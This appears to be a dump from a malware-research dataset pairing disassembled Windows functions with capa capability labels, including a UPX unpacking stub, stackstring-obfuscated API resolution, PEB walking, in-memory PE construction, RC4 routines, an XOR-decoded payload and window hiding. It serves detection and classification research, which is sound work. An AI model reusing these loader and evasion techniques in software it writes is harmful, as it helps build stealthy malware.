joyce8/EMBER2024-capa huggingface dataset:
Function at 0x110ce80e
Capabilities:
Read file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, ecx
mov dword [esp + 0xc], ebx
mov eax, dword [ebx + 0x13c]
sub eax, ebx
sub eax, 0x38
cdq
add dword [ebx + 0x140], eax
lea eax, [ebx + 0x38]
mov dword [esp + 8], eax
adc dword [ebx + 0x144], edx
mov edx, dword [ebx + 0x28]
mov dword [ebx + 0x13c], eax
mov dword [ebx + 0x138], eax
test edx, edx
je 0x110ce86f
mov ecx, dword [ebx + 0x30]
add ecx, dword [ebx + 0x20]
mov eax, dword [ebx + 0x34]
adc eax, dword [ebx + 0x24]
cmp dword [ebx + 0x144], eax
jl 0x110ce86f
jg 0x110ce868
cmp dword [ebx + 0x140], ecx
jb 0x110ce86f
xor eax, eax
pop ebx
add esp, 0xc
ret
push ebp
push esi
push edi
test edx, edx
je 0x110ce8b3
mov edx, dword [ebx + 0x20]
add edx, dword [ebx + 0x30]
mov ecx, dword [ebx + 0x24]
adc ecx, dword [ebx + 0x34]
mov esi, dword [ebx + 0x140]
mov eax, dword [ebx + 0x144]
add esi, 0x100
adc eax, 0
cmp eax, ecx
jl 0x110ce8b3
jg 0x110ce8a1
cmp esi, edx
jbe 0x110ce8b3
mov eax, dword [ebx + 0x20]
sub eax, dword [ebx + 0x140]
add eax, dword [ebx + 0x30]
mov dword [esp + 0x10], eax
jmp 0x110ce8bb
mov dword [esp + 0x10], 0x100
mov edi, dword [ebx + 0x140]
mov esi, dword [ebx + 0x144]
mov ebx, dword [ebx + 0x18]
lea ebp, [ebx + 8]
push ebp
call dword [0x4a0038]
push 0
push esi
push edi
push dword [ebx]
call fcn.110e461e
push dword [ebx]
push dword [esp + 0x24]
push 1
push dword [esp + 0x30]
call fcn.110f67c0
add esp, 0x20
mov esi, eax
push ebp
call dword [0x4a0034]
mov ecx, dword [esp + 0x18]
pop edi
lea eax, [ecx + 0x38]
add eax, esi
cmp dword [ecx + 0x138], eax
pop esi
mov dword [ecx + 0x13c], eax
sbb eax, eax
pop ebp
neg eax
pop ebx
add esp, 0xc
ret
Function at 0x110fd001
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.110fce80

Function at 0x429940
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1a000]
push edi
or ebp, 0xffffffff
jmp 0x429962
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x429969
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x429958
mov eax, 1
add ebx, ebx
jne 0x42997b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x429970
jne 0x42998c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x429970
xor ecx, ecx
sub eax, 3
jb 0x4299a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x429a12
mov ebp, eax
add ebx, ebx
jne 0x4299ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4299b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4299dc
inc ecx
add ebx, ebx
jne 0x4299c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4299bd
jne 0x4299d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4299bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4299fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4299ed
jmp 0x42995e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4299fc
add edi, ecx
jmp 0x42995e
pop esi
mov edi, esi
mov ecx, 0x6ae
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x429a1a
cmp byte [edi], 9
jne 0x429a1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x429a1f
lea edi, [esi + 0x27000]
mov eax, dword [edi]
or eax, eax
je 0x429a97
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x29c9c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x29d50]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x429a4c
mov ecx, edi
jns 0x429a7b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x29d54]
or eax, eax
je 0x429a91
mov dword [ebx], eax
add ebx, 4
jmp 0x429a69
call dword [esi + 0x29d58]
popal
jmp 0x413327
Function at 0x100c5595
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10128800]
jne 0x100c559f
repz ret
jmp fcn.100c7976

Function at 0x100c8bc9
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.100c4a92
and dword [ebp - 4], 0
cmp dword [0x10129538], 0
mov ebx, eax
jne 0x100c8c7a
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x100c8d2b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x100c8d2b
push eax
call fcn.100c4a20
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10129538], eax
call esi
push eax
call fcn.100c4a20
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1012953c], eax
call esi
push eax
call fcn.100c4a20
mov dword [esp], 0x100ce6ac
push edi
mov dword [0x10129540], eax
call esi
push eax
call fcn.100c4a20
pop ecx
mov dword [0x10129548], eax
test eax, eax
je 0x100c8c7a
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100c4a20
pop ecx
mov dword [0x10129544], eax
mov eax, dword [0x10129544]
cmp eax, ebx
je 0x100c8cd2
cmp dword [0x10129548], ebx
je 0x100c8cd2
push eax
call fcn.100c4a9b
push dword [0x10129548]
mov esi, eax
call fcn.100c4a9b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x100c8cd2
test edi, edi
je 0x100c8cd2
call esi
test eax, eax
je 0x100c8cc9
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100c8cc9
test byte [ebp - 0xc], 1
jne 0x100c8cd2
or dword [ebp + 0x10], 0x200000
jmp 0x100c8d0b
mov eax, dword [0x1012953c]
cmp eax, ebx
je 0x100c8d0b
push eax
call fcn.100c4a9b
pop ecx
test eax, eax
je 0x100c8d0b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x100c8d0b
mov eax, dword [0x10129540]
cmp eax, ebx
je 0x100c8d0b
push eax
call fcn.100c4a9b
pop ecx
test eax, eax
je 0x100c8d0b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10129538]
call fcn.100c4a9b
pop ecx
test eax, eax
je 0x100c8d2b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x100c8d2d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100ca2e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
call fcn.100010a0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x100ca328
jmp 0x100ca46c
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
jmp 0x100ca46c
mov eax, dword [esp + 0x1c]
cmp word [eax], 0x5a4d
mov dword [esp + 0x18], eax
je 0x100ca3bd
jmp 0x100ca3d5
lea eax, [esp + 0x38]
mov dword [esp + 0x14], eax
call fcn.100cbbf0
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
jne 0x100ca303
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.100ca520
lea ecx, [0x100cbe90]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x70], edx
mov dword [esp + 0x6c], 0x135000
mov dword [0x10127ed4], 0x20c0
mov edx, dword [0x10127ec0]
mov dword [esp + 0x48], edx
mov edx, dword [0x10127ec4]
mov dword [esp + 0x80], edx
mov edx, dword [0x10127ec8]
mov dword [esp + 0x54], edx
mov edx, dword [0x10127ecc]
mov dword [esp + 0x88], edx
mov edx, dword [0x10127ed0]
mov dword [esp + 0x40], edx
mov dword [0x10127ed8], 0xfffffa1c
mov dword [esp + 0x10], eax
mov dword [esp + 0x1c], ecx
jmp 0x100ca310
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
je 0x100ca3f6
mov dword [0x10127ed4], 0x2503
mov eax, dword [esp + 0x18]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x1c], eax
jmp 0x100ca310
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
lea edx, [esp + 0x38]
mov dword [esp + 0x8c], eax
mov dword [0x10127ed4], 0xbb4
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x44], eax
mov dword [0x10127ed8], 0x1050
mov eax, dword [esp + 0x30]
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.100ca970
mov ecx, dword [0x10127ed4]
add ecx, 0xfffff808
mov dword [0x10127ed8], ecx
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [0x10127ed4], 0x199e
mov dword [esp + 0x20], eax
jmp 0x100ca303
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x100ca970
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xbc
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dl, 0x6b
xor esi, esi
lea edi, [ebp - 0x6c]
lea ebx, [ebp - 0x2c]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x8c]
mov byte [ebp - 0x8c], 0x56
mov byte [ebp - 0x8b], 0x69
mov byte [ebp - 0x8a], 0x72
mov byte [ebp - 0x89], 0x74
mov byte [ebp - 0x88], 0x75
mov byte [ebp - 0x87], 0x61
mov byte [ebp - 0x86], 0x6c
mov byte [ebp - 0x85], 0x41
mov byte [ebp - 0x84], 0x6c
mov byte [ebp - 0x83], 0x6c
mov byte [ebp - 0x82], 0x6f
mov byte [ebp - 0x81], 0x63
mov byte [ebp - 0x80], 0
mov byte [ebp - 0x7f], 0x18
mov byte [ebp - 0x2c], 0x6b
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x72
mov byte [ebp - 0x29], 0x6e
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x6c
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0x18
mov dword [0x10127ed8], 0x1110
mov dword [0x10127ed4], 0x1105
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], ecx
mov dword [ebp - 0x9c], edi
mov byte [ebp - 0x9d], dl
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa8], esi
jmp 0x100cab35
mov eax, dword [0x10127ed4]
mov ecx, dword [ebp - 0xac]
add eax, 0xffffe853
mov dword [0x10127ed4], eax
mov eax, esp
mov dword [eax + 0xc], 0x40
mov dword [eax + 8], 0x1000
mov dword [eax + 4], 0x6000
mov dword [eax], 0
call ecx
sub esp, 0x10
mov dword [0x10127ed4], 0x95
mov dword [esp], eax
mov ecx, dword [ebp - 0x90]
mov dword [esp + 4], ecx
mov dword [ebp - 0xb0], eax
call fcn.100caee0
xor eax, eax
mov ecx, dword [ebp - 0xb0]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [0x10127ed8], 0x216
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov dword [0x10127ed4], 0x136d
mov edx, dword [ebp - 0x98]
mov dword [edx + 4], ecx
mov ecx, dword [0x10127ed4]
add ecx, 0x1ca3
mov dword [0x10127ed4], ecx
mov ecx, dword [ebp - 0xb0]
mov dword [edx + 0x28], ecx
cmp ecx, 0
mov dword [ebp - 0xb4], eax
je 0x100cabdf
jmp 0x100cabc4
mov eax, dword [ebp - 0xa8]
mov cl, byte [ebp - 0x9d]
movsx edx, cl
mov si, dx
mov word [ebp + eax*2 - 0x6c], si
mov edx, eax
add edx, 1
mov cl, byte [ebp + eax - 0x2b]
cmp cl, 0
mov byte [ebp - 0x9d], cl
mov dword [ebp - 0xa8], edx
jne 0x100cab35
xor eax, eax
lea ecx, [ebp - 0x6c]
mov dword [0x10127ed4], 0x2d96
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [ebp - 0xb8], eax
call fcn.100c9fa0
mov dword [esp], eax
mov eax, dword [ebp - 0x94]
mov dword [esp + 4], eax
call fcn.100cb140
xor ecx, ecx
mov dword [0x10127ed8], 0x44e
cmp eax, 0
mov dword [ebp - 0xac], eax
mov dword [ebp - 0xb4], ecx
je 0x100cabdf
jmp 0x100caa69
mov eax, dword [ebp - 0xb0]
add eax, 0x100e
mov dword [0x10127ed4], 0x1106
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xb4]
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100cb500
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10127edc], 0
mov dword [0x10127ee0], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
mov dword [0x10127eec], 0
mov dword [0x10127ed4], 0xebc
mov eax, dword [ebp - 0x10]
cmp eax, 0
je 0x100cb6a9
xor eax, eax
mov ecx, 0xffffdcde
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x2c], eax
jmp 0x100cb570
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
mov edi, 0x100
mov dword [0x10127ed4], ecx
add edx, 1
mov dword [ebp - 0x30], eax
mov eax, edx
cdq
idiv edi
mov dword [0x10127edc], edx
mov ecx, dword [ebp - 0x1c]
movzx ebx, byte [ecx + edx]
add ebx, esi
mov eax, ebx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x10127ee0], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10127ee4], cl
mov edi, dword [0x10127ed8]
add edi, 0x198
mov dword [0x10127ed8], edi
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov edx, dword [0x10127ed4]
add edx, 0xfffff2ed
mov dword [0x10127ed8], edx
mov cl, byte [0x10127ee4]
mov edx, dword [0x10127ee0]
mov byte [edi + edx], cl
mov edx, dword [0x10127edc]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10127ee0]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x10127eec], ebx
mov dword [0x10127ed4], 0xbf0
mov dword [0x10127ed8], 0x2ea
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x30]
mov ch, byte [edx + ebx]
mov dl, cl
add dl, byte [0x10127ef1]
mov byte [0x10127ef0], dl
mov byte [0x10127ef1], ch
mov dword [0x10127ed8], 0xd77
mov byte [0x10127ef2], cl
xor ch, cl
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
mov dword [0x10127ed4], 0x182
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x100cb6a7
mov eax, 0xffffcfa4
mov ecx, dword [0x10127edc]
mov edx, dword [0x10127ee0]
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], esi
jmp 0x100cb570
jmp 0x100cb6a9
mov eax, dword [0x10127ed8]
add eax, 0xfffff894
mov dword [0x10127ed4], eax
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100cb760
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x10127ee0], 0
mov byte [0x10127ee4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x10127ed8], 0x136d
mov dword [0x10127ed4], 0xd3
mov dword [0x10127edc], 0
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10127ed8], 0xcac
mov dword [0x10127ed4], 0x9b7
mov eax, dword [0x10127edc]
add eax, 1
mov dword [0x10127edc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100cb7af
xor eax, eax
mov dword [0x10127ed8], 0xfffff9f7
mov dword [0x10127edc], 0
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov dword [ebp - 0x24], eax
xor edx, edx
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x10127ee8], 0
mov dword [0x10127ed8], 0x202e
mov edi, dword [0x10127ee0]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x24]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x10127ee8], esi
mov dword [0x10127ed4], 0x1c3b
mov eax, esi
cdq
idiv ecx
mov dword [0x10127ee0], edx
mov ecx, dword [ebp - 0x24]
mov cl, byte [ebx + ecx]
mov byte [0x10127ee4], cl
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x24]
mov byte [ebx + edx], cl
mov cl, byte [0x10127ee4]
mov esi, dword [0x10127ee0]
mov byte [ebx + esi], cl
mov esi, dword [0x10127ed4]
mov ecx, esi
add ecx, 0xe6e
mov dword [0x10127ed4], ecx
mov ecx, dword [0x10127edc]
add ecx, 1
mov dword [0x10127edc], ecx
cmp ecx, 0x100
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x28], esi
jl 0x100cb802
mov eax, dword [ebp - 0x28]
mov dword [0x10127ed8], 0x26b3
add eax, 0xd2d
mov dword [0x10127ed4], eax
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100cbbf0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x10127ed4]
mov dword [ebp - 4], 0
add eax, 0x131b
mov dword [0x10127ed8], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10127ed8], 0x67a
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x100cbc98
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff9
mov dword [0x10127ed4], 0x904
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
cmp word [eax], 0x6c
je 0x100cbd64
xor eax, eax
mov dword [0x10127ed8], 0x1cf6
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add esp, 0x28
pop ebp
ret
mov dword [0x10127ed8], 0xa49
mov eax, dword [ebp - 0x20]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], eax
jge 0x100cbcae
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], edx
jne 0x100cbc77
mov eax, dword [ebp - 0x24]
mov dword [0x10127ed4], 0x1dbf
mov dword [0x10127ed8], 0x1776
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
jne 0x100cbc60
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x100cbc60
mov dword [0x10127ed4], 0x1b04
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x100cbc60
mov dword [0x10127ed4], 0xc17
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff6
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
cmp word [eax], 0x64
jne 0x100cbc60
mov dword [0x10127ed4], 0x586
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x100cbc60
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x100cbc35
jmp 0x100cbc60
mov eax, 1
mov dword [0x10127ed4], 0xfffffbce
mov dword [ebp - 0x1c], eax
jmp 0x100cbc6f
Function at 0x7d2b08
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7d2b12
pushal
call 0x7d2b18
pop ebp
sub ebp, 0x10
sub ebp, 0x3d2b08
jmp 0x7d2b2e
sub edi, dword [0x4e900]
add byte [eax], al
out dx, al
jbe entry0
mov al, 0xb8
or byte [ebx], ch
cmp eax, 0x81c50300
ror byte [eax + eax], 0
mov eax, 0x3d2b08
add eax, ebp
add eax, 0x4c
mov ecx, 0x629
mov edx, 0x7057795c
xor byte [eax], dl
inc eax
dec ecx
jne 0x7d2b45
invalid
jmp 0x7d2b58
xchg ecx, eax
xlatb
xchg ecx, eax
xlatb
aad 0x60
pop esp
pop esp
pop esp
fstp qword [ebp + 0x5c5c5ca4]
pop edi
xchg ecx, eax
in al, 0x58
pop esp
pop esp
pop esp
out 0x74, al
pop esp
pop esp
pop esp
stosd dword es:[edi], eax
mov esi, 0xddd7945f
push eax
pop esp
pop esp
pop esp
pop edi
cdq
sar dword [eax], 1
js 0x7d2b22
mov al, byte [0xd17858d5]
aad 0x58
js 0x7d2b57
cmp byte [eax - 0x60], bh
aad 0x58
js 0x7d2bc1
cld
in al, 0x52
pop esp
xor al, 0x3a
jb 0x7d2bf2
pop ebp
jo 0x7d2c11
xor al, 0x10
outsd dx, dword [esi]
dec esp
inc esp
mov ah, 0x59
pop esp
pop esp
pop esp
mov ch, 0x6a
pop esp
pop esp
pop esp
sar dword [eax], 1
js 0x7d2b4c
aad 0x70
js 0x7d2b81
xor byte [eax + 0x5c], bh
xlatb
fst dword [esp + ebx*2 + 0x5c]
pop esp
xlatb
leave
push eax
pop esp
pop esp
pop esp
xlatb
ror dword [esp + ebx*2 + 0x5c], 1
dec esp
pop esp
pop esp
pop esp
popfd
mov ch, 0x5e
insd dword es:[edi], dx
pop esi
fistp word [esi - 0x26aceaa8]
test al, 0xa3
mov dword [0x7870d7a3], eax
sar dword [eax], 1
js 0x7d2c33
sahf
push eax
pop esp
xlatb
sar byte [eax + 0x58], 1
pop esp
pop esp
pop esp
xor al, 0xfc
in al, 0x52
pop esp
xor al, 0x3a
jb 0x7d2c4b
pop ebp
jo 0x7d2c6a
or eax, 0x5c5c59b4
pop esp
mov ch, 0x19
pop esi
pop esp
pop esp
sar dword [eax], 1
js 0x7d2ba1
aad 0x70
js 0x7d2bdc
mov al, 0xa3
sub dword [eax - 0x5d], edx
sub dword [esp + esi*4 + 0x2e], edx
pop esp
pop esp
pop esp
xlatb
loope 0x7d2c68
pop esp
pop esp
pop esp
outsd dx, dword [esi]
xchg ebp, eax
invalid
adc al, 0x5c
pop esp
pop esp
cmp dl, bh
inc eax
fsub qword gs:[edi + 0x46d853b4]
pop esp
pop esp
pop esp
fsub qword [edi + 0x4dd853b5]
pop esp
pop esp
pop esp
cmp bl, ch
cmpsd dword [esi], dword es:[edi]
mov dword [0x49d85379], eax
pop esp
pop esp
pop esp
sbb eax, 0xa3a390b5
mov dword [0x5d651075], eax
fistp word [ebp + 0x58b4df59]
mov ch, 0xe1
mov dword [0x875a3a3], eax
pop esi
fistp word [ebp + 0x58b6df5a]
fbstp tbyte [ecx + ebx*2 - 0x5c5c084b]
mov dword [0x5c509e01], eax
or edi, edx
mov al, 0xa
or ecx, dword [ecx]
xlatb
sub dword [eax - 0x29], edx
and dword [eax - 0x12], edx
invalid
Function at 0x402eb0
Capabilities:
Hide graphical window

Disassembly:
push ecx
push edx
push 5
push dword [0x411544]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 5
push dword [0x41153c]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 5
push dword [0x41152c]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 5
push dword [0x411520]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 5
push dword [0x411548]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 5
push dword [0x411540]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113b8]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113bc]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113b0]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113b4]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113c4]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113c8]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4113c0]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411518]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411500]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411504]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114f8]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114fc]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411510]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411514]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411508]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x41150c]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114e0]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114e4]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114d8]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114dc]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114f0]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114f4]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114e8]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x4114ec]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411114]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411110]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
push 0
push dword [0x411118]
call dword cs:[sym.imp.USER32.DLL_ShowWindow]
pop edx
pop ecx
ret